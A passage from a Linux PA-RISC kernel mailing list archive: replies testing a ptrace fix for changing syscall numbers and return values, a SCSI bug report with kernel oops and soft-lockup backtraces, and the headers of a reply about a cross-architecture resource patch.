>> The effect that the return value couldn't be changed is a side-effect of
>> another bug in the assembly code. When a process is ptraced, userspace
>> expects each syscall to report entrance and exit of a syscall.  If a
>> syscall number was given which doesn't exist, we jumped to the normal
>> syscall exit code instead of informing userspace that the (non-existant)
>> syscall exits. This unexpected behaviour confuses userspace and thus the
>> bug was misinterpreted as if we can't change the return value.
>>
>> This patch fixes both problems and was tested on 64bit kernel with
>> 32bit userspace.
> 
> thanks, i'll give it a spin on my box too
> 
> on a related note, can you check if arg reloading works too ?
> i.e. i should also be able to mung syscall args on the fly.
> e.g. if the tracee does open("/foo", O_RDWR), the tracer should
> be able to munge it to do open("/foo", O_RDONLY).

I didn't tested it, but from looking at the assembly the user args get
reloaded from the task struct after having called do_syscall_trace_enter().
So, in theory it should work.

Helge
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJWnpjkAAoJEKGDlV8wpRJB5G4P/3FgRUNuPKs/zfTKMuvM7o4e
WX6dyBGGUJAghRLaqX9nrCTsE78Bg2BNT3sPOZ13Zac6hjxoxhCAJz0J0iuVkTpY
dTiZAgqLzErsTQr5WpQCVrbCE5qF09/7HGItOWAFn4GRurqIehId0k7vRmHDmb24
L5/lJzoTTll+8UO6k5MyOfHXyOLRiK+Ci0BMCXsi8b5NCCPBuMQoErwowrVyMSz9
2YFIbdWdHjUwwFruodn9rOQ+tNzeVL2uQbPCj6tyy7iIx7rEiYutrc3bz3SDl7in
MoFRurF6hjeRl38EjgkwgD52V5y9P2mJkhiTj3hxnUvKbTiE7Dhm7dxeGyRlMJ3L
TJIHhOhbO8GaPkeDrxhwCJV89oTHKN7l2YxTHjadgiJA9rSyR9R93cC9ltqy/5we
+y/JmUy+zohD9A12hwPfdU7srkMfHML/Uphu/R4D/LALOmWDm1U7+gistvRl1qhk
wECzweYw34nRXDsXxdI/Ey2YmdPVOfLxHtWtTokdNGNCwHsObDbOJ/lG2dx68qwA
b0w/IasML7ziqdtgUxsYePjG+IKynlS1qTqbFiGTxYa9vXUP3u4qSEIk0MDoMdxb
98CQYCG625gbMbqh8TSMgdh8qTt/1LMGh8Oh8QugWec+g7IpViHoFpkkrX4StGt+
GHHaM53rPq0Os65vAL67
=S6Ir
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix ptrace: syscall number and return value
 modification
Date: Wed, 20 Jan 2016 12:09:59 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <20160120170959.GS14840@vapier.lan>
References: <20160119150849.GA22546@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="ShzQXCswyqjgWi6k"
X-Trace: ger.gmane.org 1453309813 8589 80.91.229.3 (20 Jan 2016 17:10:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Jan 2016 17:10:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 20 18:10:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aLwGm-0002dC-Sw
	for glpp-linux-parisc@plane.gmane.org; Wed, 20 Jan 2016 18:10:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934015AbcATRKI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Jan 2016 12:10:08 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:57812 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934625AbcATRKF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Jan 2016 12:10:05 -0500
Original-Received: from vapier.lan (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with SMTP id 9F9A0340B25;
	Wed, 20 Jan 2016 17:09:59 +0000 (UTC)
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Content-Disposition: inline
In-Reply-To: <20160119150849.GA22546@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26424>


--ShzQXCswyqjgWi6k
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On 19 Jan 2016 16:08, Helge Deller wrote:
> Mike Frysinger reported that his ptrace testcase showed strange
> behaviour on parisc: It was not possible to avoid a syscall and the
> return value of a syscall couldn't be changed.
>=20
> To modify a syscall number, we were missing to save the new syscall
> number to gr20 which is then picked up later in assembly again.
>=20
> The effect that the return value couldn't be changed is a side-effect of
> another bug in the assembly code. When a process is ptraced, userspace
> expects each syscall to report entrance and exit of a syscall.  If a
> syscall number was given which doesn't exist, we jumped to the normal
> syscall exit code instead of informing userspace that the (non-existant)
> syscall exits. This unexpected behaviour confuses userspace and thus the
> bug was misinterpreted as if we can't change the return value.
>=20
> This patch fixes both problems and was tested on 64bit kernel with
> 32bit userspace.

i've checked that i can reset the syscall # fine and mung the return
value.  i haven't checked arg replacement although i don't need that
myself (yet?).  thanks !

Tested-by: Mike Frysinger <vapier@gentoo.org>
-mike

--ShzQXCswyqjgWi6k
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJWn79nAAoJEEFjO5/oN/WBdswP/2sVeqU7IcDzHM7VwSM3u+fI
tumdCllLeMH7VzUMOHv2uapc9In7mC7MzWVb8mTccOes7LMg+uCEWp/2C8kF05XR
PpIs/SJQUuf5ymxondHn2zNW+VKXjZG6GPUaRaOy6IxocmIr7KYKenglzXLsvkjN
t883dXU1irFtop3xpHCTYqrZfJBW7LAQEuzEAnwY7lKGlhEBPrM8e9jz+SdK2pyr
sCyB/y+cD0WQrOqpQ2+YlIkPQ57Q4ALYYqdTTtURlHFkCwloq/DcEh+YskZhwnky
YoYlaD3BDTNmgkghGezOfV+viI02k5dBt+uXhC+NSnNOzNM9J5eOkOHyJ9Q9gFcW
sTcYkYJkTpPMmzps/TfVVIQf1R7ktKMFImOEu1ds/eA/QdNgWSCH+1BWk7H0BrfH
r3SN/93Wvyi106947cEgL7Wy8HVDfViY9avDxmaBHqPSUOa2+m5EWiMcRI4E4m2n
UkgKQHvc79Z2kJ61srv02rCLdE1SWv4chwPSgB+NjClSTi2EYFcF7eJb1ZA2syE8
3aBzOj6N8nuI99QQg+oyPMb0OEqXfSnjckmWZSx4Fa4KuByAi9xS45E8wNJ1NAbP
Biur/4UKlQ+MVFROPXrFgSyz+yATH8XhhL0kMQXV48rtxQymH7yAM8MMjYqL2UOL
Z8QhuYrps+MUVmE2vukk
=ZRD2
-----END PGP SIGNATURE-----

--ShzQXCswyqjgWi6k--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: SCSI bug
Date: Sat, 23 Jan 2016 13:00:00 -0500
Lines: 263
Approved: news@gmane.org
Message-ID: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1453572017 24816 80.91.229.3 (23 Jan 2016 18:00:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 Jan 2016 18:00:17 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 23 19:00:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aN2Tm-0003AZ-42
	for glpp-linux-parisc@plane.gmane.org; Sat, 23 Jan 2016 19:00:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753554AbcAWSAF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Jan 2016 13:00:05 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:49750 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751399AbcAWSAD convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Jan 2016 13:00:03 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20160123180000.MNFJ22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 23 Jan 2016 13:00:00 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.195]) by torspm02.bell.net
          with ESMTP
          id <20160123180000.HMFI31117.torspm02.bell.net@[192.168.2.10]>;
          Sat, 23 Jan 2016 13:00:00 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.56A3BFA0.016C,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26425
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26425>

I gave 4.4.0+ a try this morning and we still have the SCSI issue previously reported:

sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 70
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi host0: sym-2.2.3
usb 1-3: new high-speed USB device number 2 using ehci-pci
usb usb2: New USB device found, idVendor=1d6b, idProduct=0001
usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb2: Product: OHCI PCI host controller
usb usb2: Manufacturer: Linux 4.4.0+ ohci_hcd
usb usb2: SerialNumber: 0000:00:01.0
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 3 ports detected
ohci-pci 0000:00:01.1: OHCI PCI host controller
ohci-pci 0000:00:01.1: new USB bus registered, assigned bus number 3
ohci-pci 0000:00:01.1: irq 67, io mem 0xffffffff80001000
usb 1-3: New USB device found, idVendor=1058, idProduct=0748
usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=5
usb 1-3: Product: My Passport 0748
usb 1-3: Manufacturer: Western Digital
usb 1-3: SerialNumber: 575836314542325A33383231
usb-storage 1-3:1.0: USB Mass Storage device detected
scsi host1: usb-storage 1-3:1.0
usbcore: registered new interface driver usb-storage
usbcore: registered new interface driver uas
usb usb3: New USB device found, idVendor=1d6b, idProduct=0001
usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb3: Product: OHCI PCI host controller
usb usb3: Manufacturer: Linux 4.4.0+ ohci_hcd
usb usb3: SerialNumber: 0000:00:01.1
hub 3-0:1.0: USB hub found
hub 3-0:1.0: 2 ports detected
pata_cmd64x 0000:00:02.0: Secondary port is disabled
scsi host2: pata_cmd64x
scsi host3: pata_cmd64x
ata1: PATA max UDMA/100 cmd 0xd18 ctl 0xd24 bmdma 0xd00 irq 69
ata2: DUMMY
ata1.00: ATAPI: DW-224E, C.0B, max UDMA/33
ata1.00: configured for UDMA/33
scsi 2:0:0:0: CD-ROM            TEAC     DW-224E          C.0B PQ: 0 ANSI: 5
sr 2:0:0:0: [sr0] scsi3-mmc drive: 24x/24x writer cd/rw xa/form2 cdda tray
cdrom: Uniform CD-ROM driver Revision: 3.20
scsi 1:0:0:0: Direct-Access     WD       My Passport 0748 1022 PQ: 0 ANSI: 6
scsi 1:0:0:1: Enclosure         WD       SES Device       1022 PQ: 0 ANSI: 6
sd 1:0:0:0: [sda] Spinning up disk...
.
scsi 0:0:0:0: Direct-Access     SEAGATE  ST3300007LC      D705 PQ: 0 ANSI: 3
scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
scsi target0:0:0: Beginning Domain Validation
scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi target0:0:0: Ending Domain Validation
sd 0:0:0:0: [sdb] 585937500 512-byte logical blocks: (300 GB/279 GiB)
sd 0:0:0:0: [sdb] Write Protect is off
sd 0:0:0:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
sd 0:0:0:0: [sdb] Attached SCSI disk
ready
sd 1:0:0:0: [sda] 3906963456 512-byte logical blocks: (2.00 TB/1.82 TiB)
sd 1:0:0:0: [sda] Write Protect is off
sd 1:0:0:0: [sda] No Caching mode page found
sd 1:0:0:0: [sda] Assuming drive cache: write through
ses 1:0:0:1: Attached Enclosure device
 sda: sda1 sda2
sd 1:0:0:0: [sda] Attached SCSI disk
random: nonblocking pool is initialized
------------[ cut here ]------------
WARNING: at block/blk-merge.c:454
Modules linked in: ses enclosure scsi_transport_sas sd_mod sr_mod cdrom uas usb_storage pata_cmd64x ohci_pci tg3(+) ptp sym53c8xx(+) libata pps_core ehci_pci scsi_transport_spi ohci_hcd ehci_hcd scsi_mod usbcore usb_common
CPU: 1 PID: 930 Comm: systemd-udevd Not tainted 4.4.0+ #1
task: 000000007f038c68 ti: 000000007e198000 task.ti: 000000007e198000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  000000ff0804ff0e 0000000040756dc0 0000000000000000 000000007e199210
r04-07  000000004072cdc0 0000000000000000 0000000000000000 000000000000001e
r08-11  0000000000000001 0000000000000000 000000007c1fe1b8 0000000000000000
r12-15  0000000000000002 00000000000001e0 0000000000001000 000000007e1d6800
r16-19  000000007c1fa6f8 000000004270e3c0 000000007c1fe1b8 0000000000000000
r20-23  0000000000000000 000000007e3f3c00 00000000407ac690 0000000000000000
r24-27  0000000000000000 000000007c1fa6f8 000000004270e3c0 000000004072cdc0
r28-31  0000000000000001 0000000000001000 000000007e199340 0000000000000001
sr00-03  0000000000012000 0000000000000000 0000000000012000 0000000000012000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004038d5f4 000000004038d5f8
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000f07f9fe1b8
 CPU:        1   CR30: 000000007e198000 CR31: ff7f1bfb00e9e4ff
 ORIG_R28: 000000007e1994f0
 IAOQ[0]: blk_rq_map_sg+0x564/0x598
 IAOQ[1]: blk_rq_map_sg+0x568/0x598
 RP(r2):           (null)
Backtrace:
 [<0000000018317690>] scsi_init_sgtable+0x70/0x168 [scsi_mod]
 [<00000000183177f4>] scsi_init_io+0x6c/0x250 [scsi_mod]
 [<000000001c7f16b0>] sd_setup_read_write_cmnd+0x58/0x948 [sd_mod]
 [<000000001c7f1fe4>] sd_init_command+0x44/0x130 [sd_mod]
 [<0000000018317adc>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]
 [<0000000018317e28>] scsi_prep_fn+0x100/0x340 [scsi_mod]
 [<000000004038663c>] blk_peek_request+0x1b4/0x290
 [<0000000018319a34>] scsi_request_fn+0xf4/0xab0 [scsi_mod]
 [<00000000403819e4>] __blk_run_queue+0x4c/0x70
 [<00000000403ac6a8>] cfq_insert_request+0x2e0/0x588
 [<0000000040380ba0>] __elv_add_request+0x190/0x2d8

---[ end trace 19da17b0d547c92b ]---
------------[ cut here ]------------
kernel BUG at drivers/scsi/scsi_lib.c:1097!
CPU: 1 PID: 930 Comm: systemd-udevd Tainted: G        W       4.4.0+ #1
task: 000000007f038c68 ti: 000000007e198000 task.ti: 000000007e198000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Tainted: G        W      
r00-03  000000ff0804ff0e 0000000040756dc0 0000000018317690 000000007e199170
r04-07  0000000018301000 000000007c1fa6f8 000000007e21ab60 0000000000000000
r08-11  000000007c1fa6f8 000000007e1fe800 00000000408444d0 0000000000000110
r12-15  0000000000000000 000000007e198798 0000000018301000 0000000040756dc0
r16-19  00000000408444dc 000000007e1fe800 000000007c216800 0000000000000000
r20-23  0000000000000000 000000007e3f3c00 00000000407ac690 0000000000000000
r24-27  0000000000000000 000000007c1fa6f8 000000004270e3c0 000000004072cdc0
r28-31  0000000000000002 0000000000001000 000000007e199210 0000000000000001
sr00-03  0000000000012000 0000000000000000 0000000000012000 0000000000012000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000183176d4 00000000183176d8
 IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        1   CR30: 000000007e198000 CR31: ff7f1bfb00e9e4ff
 ORIG_R28: 0000000000000000
 IAOQ[0]: scsi_init_sgtable+0xb4/0x168 [scsi_mod]
 IAOQ[1]: scsi_init_sgtable+0xb8/0x168 [scsi_mod]
 RP(r2): scsi_init_sgtable+0x70/0x168 [scsi_mod]
Backtrace:
 [<00000000183177f4>] scsi_init_io+0x6c/0x250 [scsi_mod]
 [<000000001c7f16b0>] sd_setup_read_write_cmnd+0x58/0x948 [sd_mod]
 [<000000001c7f1fe4>] sd_init_command+0x44/0x130 [sd_mod]
 [<0000000018317adc>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]
 [<0000000018317e28>] scsi_prep_fn+0x100/0x340 [scsi_mod]
 [<000000004038663c>] blk_peek_request+0x1b4/0x290
 [<0000000018319a34>] scsi_request_fn+0xf4/0xab0 [scsi_mod]
 [<00000000403819e4>] __blk_run_queue+0x4c/0x70
 [<00000000403ac6a8>] cfq_insert_request+0x2e0/0x588
 [<0000000040380ba0>] __elv_add_request+0x190/0x2d8

CPU: 1 PID: 930 Comm: systemd-udevd Tainted: G        W       4.4.0+ #1
Backtrace:
 [<000000004015d560>] show_stack+0x20/0x38
 [<00000000403b1f94>] dump_stack+0x9c/0x110
 [<000000004015d734>] die_if_kernel+0x19c/0x2e0
 [<000000004015e610>] handle_interruption+0x9a8/0x9d0

---[ end trace 19da17b0d547c92c ]---
NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [systemd-udevd:930]
Modules linked in: ses enclosure scsi_transport_sas sd_mod sr_mod cdrom uas usb_storage pata_cmd64x ohci_pci tg3(+) ptp sym53c8xx(+) libata pps_core ehci_pci scsi_transport_spi ohci_hcd ehci_hcd scsi_mod usbcore usb_common
CPU: 3 PID: 930 Comm: systemd-udevd Tainted: G      D W       4.4.0+ #1
task: 000000007f038c68 ti: 000000007e198000 task.ti: 000000007e198000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Tainted: G      D W      
r00-03  000000ff0806ff0f 000000007e199d00 00000000402039c0 000000007e199c30
r04-07  000000004072cdc0 000000007e199cd0 00000000407bc588 00000000407bc4a0
r08-11  00000000428443a0 00000000428443a8 0000000000000001 0000000040705660
r12-15  0000000000000000 000000007e199cd0 0000000018301000 0000000040756dc0
r16-19  000000007e199210 000000007e1fe800 000000007c216800 000000004282bfa0
r20-23  0000000000000001 00000000428443a8 000000000800000f 0000000000000000
r24-27  0000000000000000 0000000000000020 00000000428443a8 000000004072cdc0
r28-31  0000000000000001 000000007e199d50 000000007e199d00 0000000000000003
sr00-03  000000000001c000 0000000000000000 0000000000000000 000000000001c000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402039e8 00000000402039ec
 IIR: 4a7f0030    ISR: 000000004072cdc0  IOR: 000000007e36e620
 CPU:        3   CR30: 000000007e198000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000001
 IAOQ[0]: smp_call_function_many+0x338/0x3b0
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0
 RP(r2): smp_call_function_many+0x310/0x3b0
Backtrace:
 [<0000000040203b18>] on_each_cpu+0x58/0xa0
 [<000000004015aed8>] flush_tlb_all+0x108/0x1e8
 [<0000000040258270>] tlb_flush_mmu_tlbonly+0x48/0xa8
 [<0000000040259048>] tlb_finish_mmu+0x30/0x98
 [<0000000040263e5c>] exit_mmap+0x134/0x1b8
 [<0000000040182668>] mmput+0xc0/0x1a8
 [<0000000040188eec>] do_exit+0x334/0xce0
 [<000000004015d790>] die_if_kernel+0x1f8/0x2e0
 [<000000004015e610>] handle_interruption+0x9a8/0x9d0

NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [systemd-udevd:930]
Modules linked in: ses enclosure scsi_transport_sas sd_mod sr_mod cdrom uas usb_storage pata_cmd64x ohci_pci tg3(+) ptp sym53c8xx(+) libata pps_core ehci_pci scsi_transport_spi ohci_hcd ehci_hcd scsi_mod usbcore usb_common
CPU: 3 PID: 930 Comm: systemd-udevd Tainted: G      D W    L  4.4.0+ #1
task: 000000007f038c68 ti: 000000007e198000 task.ti: 000000007e198000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Tainted: G      D W    L 
r00-03  000000ff0806ff0f 000000007e199d00 00000000402039c0 000000007e199c30
r04-07  000000004072cdc0 000000007e199cd0 00000000407bc588 00000000407bc4a0
r08-11  00000000428443a0 00000000428443a8 0000000000000001 0000000040705660
r12-15  0000000000000000 000000007e199cd0 0000000018301000 0000000040756dc0
r16-19  000000007e199210 000000007e1fe800 000000007c216800 000000004282bfa0
r20-23  0000000000000001 00000000428443a8 000000000800000f 0000000000000000
r24-27  0000000000000000 0000000000000020 00000000428443a8 000000004072cdc0
r28-31  0000000000000001 000000007e199d50 000000007e199d00 0000000000000003
sr00-03  000000000001c000 0000000000000000 0000000000000000 000000000001c000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402039e8 00000000402039ec
 IIR: 4a7f0030    ISR: 000000004072cdc0  IOR: 000000007e36e620
 CPU:        3   CR30: 000000007e198000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000001
 IAOQ[0]: smp_call_function_many+0x338/0x3b0
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0
 RP(r2): smp_call_function_many+0x310/0x3b0
Backtrace:
 [<0000000040203b18>] on_each_cpu+0x58/0xa0
 [<000000004015aed8>] flush_tlb_all+0x108/0x1e8
 [<0000000040258270>] tlb_flush_mmu_tlbonly+0x48/0xa8
 [<0000000040259048>] tlb_finish_mmu+0x30/0x98
 [<0000000040263e5c>] exit_mmap+0x134/0x1b8
 [<0000000040182668>] mmput+0xc0/0x1a8
 [<0000000040188eec>] do_exit+0x334/0xce0
 [<000000004015d790>] die_if_kernel+0x1f8/0x2e0
 [<000000004015e610>] handle_interruption+0x9a8/0x9d0

INFO: rcu_sched self-detected stall on CPU
	3-...: (5978 ticks this GP) idle=ecb/140000000000001/0 softirq=709/709 fqs=6000 
	 (t=6000 jiffies g=-123 c=-124 q=4)
Task dump for CPU 1:
kworker/1:1H    R  running task        0   948      2 0x00000004
Workqueue: kblockd cfq_kick_queue
Backtrace:
 [<000000004015361c>] __schedule+0x264/0x5b8
 [<00000000401539bc>] schedule+0x4c/0xc8
 [<00000000401a29d0>] worker_thread+0x338/0x688
 [<00000000401aae84>] kthread+0x144/0x178
 [<0000000040149020>] end_fault_vector+0x20/0x28

Task dump for CPU 3:
systemd-udevd   R  running task        0   930    925 0x00000014
Backtrace:
 [<000000004015d560>] show_stack+0x20/0x38
 [<00000000401b95b4>] sched_show_task+0x134/0x1d0
 [<00000000401bc054>] dump_cpu_task+0x64/0x80
 [<00000000401e7584>] rcu_dump_cpu_stacks+0xf4/0x180
 [<00000000401ec644>] rcu_check_callbacks+0x5ac/0x9b8
 [<00000000401ef264>] update_process_times+0x74/0xd8
 [<000000004015e878>] timer_interrupt+0x1b0/0x210
 [<00000000401dc510>] handle_irq_event_percpu+0xa8/0x248
 [<00000000401e1e7c>] handle_percpu_irq+0xac/0xe8
 [<00000000401db794>] generic_handle_irq+0x4c/0x68
 [<000000004014b2cc>] call_on_stack+0x18/0x24

...

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <bp@alien8.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v3 06/17] arch: Set IORESOURCE_SYSTEM_RAM to System RAM
Date: Sun, 24 Jan 2016 19:00:57 +0100
Lines: 404
Approved: news@gmane.org
Message-ID: <20160124180057.GC26879@pd.tnic>
References: <1452020081-26534-1-git-send-email-toshi.kani@hpe.com>
 <1452020081-26534-6-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1453658520 5374 80.91.229.3 (24 Jan 2016 18:02:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Jan 2016 18:02:00 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-arch@vger.kernel.org,
        linux-mm@kvack.org, linux-kernel@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org
To: Toshi Kani <toshi.kani@hpe.com>
Original-X-From: linux-mips-bounce@linux-mips.org Sun Jan 24 19:01:50 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNOz0-0006Zd-Bi
	for sgi-linux-mips@gmane.org; Sun, 24 Jan 2016 19:01:50 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:50722 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010969AbcAXSBrofeM1 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 24 Jan 2016 19:01:47 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 24 Jan 2016 19:01:33 +0100 (CET)
Original-Received: from mail.skyhub.de ([78.46.96.112]:34859 "EHLO mail.skyhub.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27010713AbcAXSBbv8fk1 (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sun, 24 Jan 2016 19:01:31 +0100
X-Virus-Scanned: Nedap ESD1 at mail.skyhub.de
Original-Received: from mail.skyhub.de ([127.0.0.1])
        by localhost (door.skyhub.de [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id QZqZNcEfI4lg; Sun, 24 Jan 2016 19:01:30 +0100 (CET)
Original-Received: from pd.tnic (p548956E0.dip0.t-ipconnect.de [84.137.86.224])
        (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id 8AA83245A96;
        Sun, 24 Jan 2016 19:01:29 +0100 (CET)
Original-Received: by pd.tnic (Postfix, from userid 1000)
        id 4D74B160953; Sun, 24 Jan 2016 19:00:57 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1452020081-26534-6-git-send-email-toshi.kani@hpe.com>
User-Agent: Mutt/1.5.24 (2015-08-30)
X-archive-position: 51343
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
